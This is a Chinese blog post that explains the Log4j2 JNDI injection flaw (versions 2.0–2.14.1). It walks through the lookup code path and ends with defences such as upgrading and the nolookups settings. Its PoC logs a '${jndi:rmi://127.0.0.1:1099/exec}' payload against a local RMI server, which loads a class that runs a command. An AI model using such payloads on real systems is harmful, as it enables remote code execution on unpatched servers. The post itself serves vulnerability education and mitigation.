log4j JNDI注入原理

log4j2 JNDI注入原理

log4j2中的JNDI注入

log4j在 \(2.0\) - \(2.14.1\)版本中,存在jndi注入问题。

配置

首先使用maven导入log4j包并通过log4j2.xml进行日志服务配置。

  1. 导入maven pom.xml 配置如下(如果是spring、mybatis等框架,自带并默认使用log4j):
<properties>
    <maven.compiler.source>8</maven.compiler.source>
    <maven.compiler.target>8</maven.compiler.target>
    <log4j2.version>2.14.1</log4j2.version>
</properties>

<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>${log4j2.version}</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>${log4j2.version}</version>
    </dependency>
</dependencies>
  1. src/main/resources/log4j2.xml配置如下:
<?xml version="1.0" encoding="UTF-8"?>

<configuration status="WARN" monitorInterval="30">
    <appenders>
        <!--这个输出控制台的配置-->
        <console name="Console" target="SYSTEM_OUT">
            <!--输出日志的格式-->
            <PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
        </console>
    </appenders>

    <!--然后定义logger,只有定义了logger并引入的appender,appender才会生效-->
    <loggers>
        <!--将日志输出到控制台,日志等级为all-->
        <root level="all">
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>

log4j2 配置文档

Logger 打印方法漏洞

Logger 类负责接受字符串或Object参数,并进行日志打印。其中Logger类的日志打印方法支持使用 {} 作为占位符,进行格式化打印日志消息。

Logger logger = LogManager.getLogger(UserService.class);
logger.info("{}","nishoushun@ustc.edu");

输出:

[11:39:55:265] [INFO] - UserServiceTest.test(UserServiceTest.java:11) - nishoushun@ustc.edu
插件匹配

Logger的日志记录方法中的 {} 占位符不仅可以被开发者的定义的变量进行替换,log4j2中还对 ${} 其做了进一步匹配与查询处理:log4j2中可以通过 ${plugin:var} 的格式查询相应的内置变量

这个插件实际上是实现了 org.apache.logging.log4j.core.lookup.StrLookup 接口的一个实现类。

StrLookup 接口定义

package org.apache.logging.log4j.core.lookup;

import org.apache.logging.log4j.core.LogEvent;

public interface StrLookup {
    String CATEGORY = "Lookup";
    String lookup(String key);
    String lookup(LogEvent event, String key);
}

也就是说当你提供了 key 以及 event 之后,该实现类给你查询之后的返回消息。

:调用 java lookups 插件,查询系统信息

Logger logger = LogManager.getLogger(UserService.class);
logger.info("${java:os}");

获得输出:

[14:56:28:771] [INFO] - service.login.LoginHandler.receiveUsername(LoginHandler.java:14) - username: Linux 5.15.2-2-MANJARO, architecture: amd64-64

会发现原本的格式{${java:os}}会被替换了相应的系统信息。

更多内置实现类以及配置请看:LOG4J Lookups 官方文档

注入原理

查看文档,发现log4j本身就支持 JNDI 方式查询:

image-20220330114931256

该功能可以通过系统属性(System.getProperty)的 log4j2.enableJndiLookup 的值确定是否开启。

PoC

首先开启一个绑定了恶意类的JNDI服务,这里以 rmi 作为实现(开启RMI注册中心以及相关HTTP服务),之后调用测试方法:

@Test
public void test(){
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

    Logger logger = LogManager.getLogger(UserService.class);
    logger.info("{}","${jndi:rmi://127.0.0.1:1099/exec}");
}

由于本身依赖于 JNDI,所以log4j2漏洞对jdk版本要求较高,需要设置相应系统属性或找的合适的本地类绕开限制。

输出如下:

ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: firefox
[12:24:02:194] [INFO] - UserServiceTest.test(UserServiceTest.java:13) - remote.exec.CmdExecutor@bef2d72

可以看出,服务端加载了username字符串指定的rmi服务中映射的的Class,并进行了实例化,最终以 exec.CmdExecutor#toString 替换了 ${} 中的值。

Peek 2022-03-27 03-53

Lookups 过程分析

Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.

${ 匹配

org.apache.logging.log4j.core.pattern.MessagePatternConverter # fomat 方法中有这么一段代码:

// TODO can we optimize this?
if (config != null && !noLookups) {
    for (int i = offset; i < workingBuilder.length() - 1; i++) {
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
            final String value = workingBuilder.substring(offset, workingBuilder.length());
            workingBuilder.setLength(offset);
            workingBuilder.append(config.getStrSubstitutor().replace(event, value));
        }
    }
}

即当参数传入打印方法时,Log4j会对其做一个${匹配与字符替换。

如果在 开启Lookups(noLookupsfalse 功能的情况下,那么该类会查找传入的字符串是否含有${,并使用 config.getStrSubstitutor().replace(event, value) 对其匹配到的 event 进行替换。

前缀、后缀与分隔符匹配

org.apache.logging.log4j.core.lookup.StrSubstitutor 类定义了格式化日志变量替换的相应字符默认值,以及匹配与替换方法,其中需要匹配的符号默认值如下:

public static final char DEFAULT_ESCAPE = '$';
public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{");
public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");
public static final String DEFAULT_VALUE_DELIMITER_STRING = ":-";
public static final StrMatcher DEFAULT_VALUE_DELIMITER = StrMatcher.stringMatcher(DEFAULT_VALUE_DELIMITER_STRING);
public static final String ESCAPE_DELIMITER_STRING = ":\\-";

可以看到触发消息匹配的:

  • 前缀:${
  • 后缀:}
  • 变量分隔符::-
  • 转义分隔符::\\-

:默认匹配上述符号,可在配置文件中修改,详情请看官方文档。

this.substitute 方法中,可以看到代码中放置一个双层while循环(外层循环用于匹配前缀,内层循环用于向后匹配后缀;当匹配到正确后缀后,以后缀字符位置的下一个位置,继续进行外层循环),使用该类定义的前后缀、以及变量分隔符,在传入的日志字符串中进行匹配,并将匹配到的变量名放在传入的参数:List priorVariables对象中。

查询

substitude 方法找出一个匹配字串之后,调用 this.resolveVariable 方法:

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, inal int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    return resolver.lookup(event, variableName);
}

该方法用于找到一个适合传入参数 eventvariableNamelookup 方法对以匹配到的变量名进行查询。

发现该类实际上是一个 org.apache.logging.log4j.core.lookup.Interpolator

image-20220330122949667

Interpolator

实际上是一个代理类,其中定义了一些内置的 key

image-20220330123029720

发现其中就有 jndi

lookup 方法中,首先会根据 : 进行分割,然后根据前面的部分找到对应的 StrLookup 接口的实现类,发现获取的是一个 JndiLookup

最终调用实现类的 lookup 方法,获取查询值,并对原有字符串进行替换:

image-20220330123403745

Log4j2 中内置的实现 StrLookup 接口的实现类如下:

image-20211212142232964

其中以JavaLookup实现类为例:

@Plugin(name = "java", category = StrLookup.CATEGORY)
public class JavaLookup extends AbstractLookup {

private final SystemPropertiesLookup spLookup = new SystemPropertiesLookup();
 /**
 省略
 **/
 @Override
 public String lookup(final LogEvent event, final String key) {
   switch (key) {
   case "version":
       return "Java version " + getSystemProperty("java.version");
   case "runtime":
       return getRuntime();
   case "vm":
       return getVirtualMachine();
   case "os":
       return getOperatingSystem();
   case "hw":
       return getHardware();
   case "locale":
       return getLocale();
   default:
       throw new IllegalArgumentException(key);
   }
 }
}

该类中定义了以 java:var 格式的查询条件,即当我们在日志传参中使用 "${java:var}" 形式的字符串后,会查询到相应的值:

  • version
  • runtime
  • vm
  • os
  • hw
  • locale
  • 其他:抛出一个非法参数异常

正好和官方文档相对应:

image-20220113113121810

这也就解释了为什么String username = "${java:os}" 会被替换为 getOperatingSystem() 的返回的字符串。

JndiLookup

这次log4j2的漏洞关键在于 StrLookup 接口的一个实现类 org.apache.logging.log4j.core.lookup.JndiLookup

package org.apache.logging.log4j.core.lookup;
/**
省略
*/

/**
 * Looks up keys from JNDI resources.
 */
@Plugin(name = "jndi", category = StrLookup.CATEGORY)
public class JndiLookup extends AbstractLookup {

    private static final Logger LOGGER = StatusLogger.getLogger();
    private static final Marker LOOKUP = MarkerManager.getMarker("LOOKUP");

    /** JNDI resource path prefix used in a J2EE container */
    static final String CONTAINER_JNDI_RESOURCE_PATH_PREFIX = "java:comp/env/";

    /**
     * Looks up the value of the JNDI resource.
     * @param event The current LogEvent (is ignored by this StrLookup).
     * @param key  the JNDI resource name to be looked up, may be null
     * @return The String value of the JNDI resource.
     */
    @Override
    public String lookup(final LogEvent event, final String key) {
        if (key == null) {
            return null;
        }
        final String jndiName = convertJndiName(key);
        try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
            return Objects.toString(jndiManager.lookup(jndiName), null);
        } catch (final NamingException e) {
            LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
            return null;
        }
    }

    /**
     * Convert the given JNDI name to the actual JNDI name to use.
     * Default implementation applies the "java:comp/env/" prefix
     * unless other scheme like "java:" is given.
     * @param jndiName The name of the resource.
     * @return The fully qualified name to look up.
     */
    private String convertJndiName(final String jndiName) {
        if (!jndiName.startsWith(CONTAINER_JNDI_RESOURCE_PATH_PREFIX) && jndiName.indexOf(':') == -1) {
            return CONTAINER_JNDI_RESOURCE_PATH_PREFIX + jndiName;
        }
        return jndiName;
    }
}

如果用户的输入中包含 ${jndi:url} 匹配模式,并作为传入 Logger 打印方法的参数,则查询时会使用JndiLookup类作为 StrLookup 接口的实现,该类会调用 jndiManager.lookup(jndiName),从而获取并加载远程类。

在使用 JndiLookup # lookup 方法时,发现调用了 InitialContext # lookup 方法:

image-20220330123957128

看到这估计了解JNDI注入的人就全懂了🧐。

防御

关于防御最好还是升级Log4j版本以及禁用lookup功能(如果非必需的话)。

版本升级

升级jdk版本

对于Oracle JDK \(11.0.1\)\(8u191\)\(7u201\)\(6u211\) 或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载,但是依然可以靠本地classpath中的 ObjectFactory 实现类去进行攻击。

升级log4j版本

log4j 在 \(2.15.0\) 版本中默认关闭 lookup 功能

禁用log4j的lookup功能

控制日志格式

对于 >=\(2.7\) 的版本,在 log4j 配置文件中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广。

:在 log4j2.xml 中配置

<?xml version="1.0" encoding="UTF-8"?>
<configuration status="WARN" monitorInterval="30">
    <appenders>
        <!--这个输出控制台的配置-->
        <console name="Console" target="SYSTEM_OUT">
            <!--输出日志的格式-->
            <PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%p] - %l - %m%n - %msg{nolookups}%n"/>
        </console>
    </appenders>

    <!--然后定义logger,只有定义了logger并引入的appender,appender才会生效-->
    <loggers>
        <!--将日志输出到控制台,日志等级为all-->
        <root level="all">
            <appender-ref ref="Console"/>
        </root>
    </loggers>
</configuration>
直接关闭 Lookup 功能

在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true

也可以通过设置JVM系统属性,jvm 启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者

System.setProperty("log4j2.formatMsgNoLookups", "true");

注意:必须在 log4j 被初始化之前设置该系统属性。

posted @ 2022-03-30 12:58  NIShoushun  阅读(734)  评论(0编辑  收藏  举报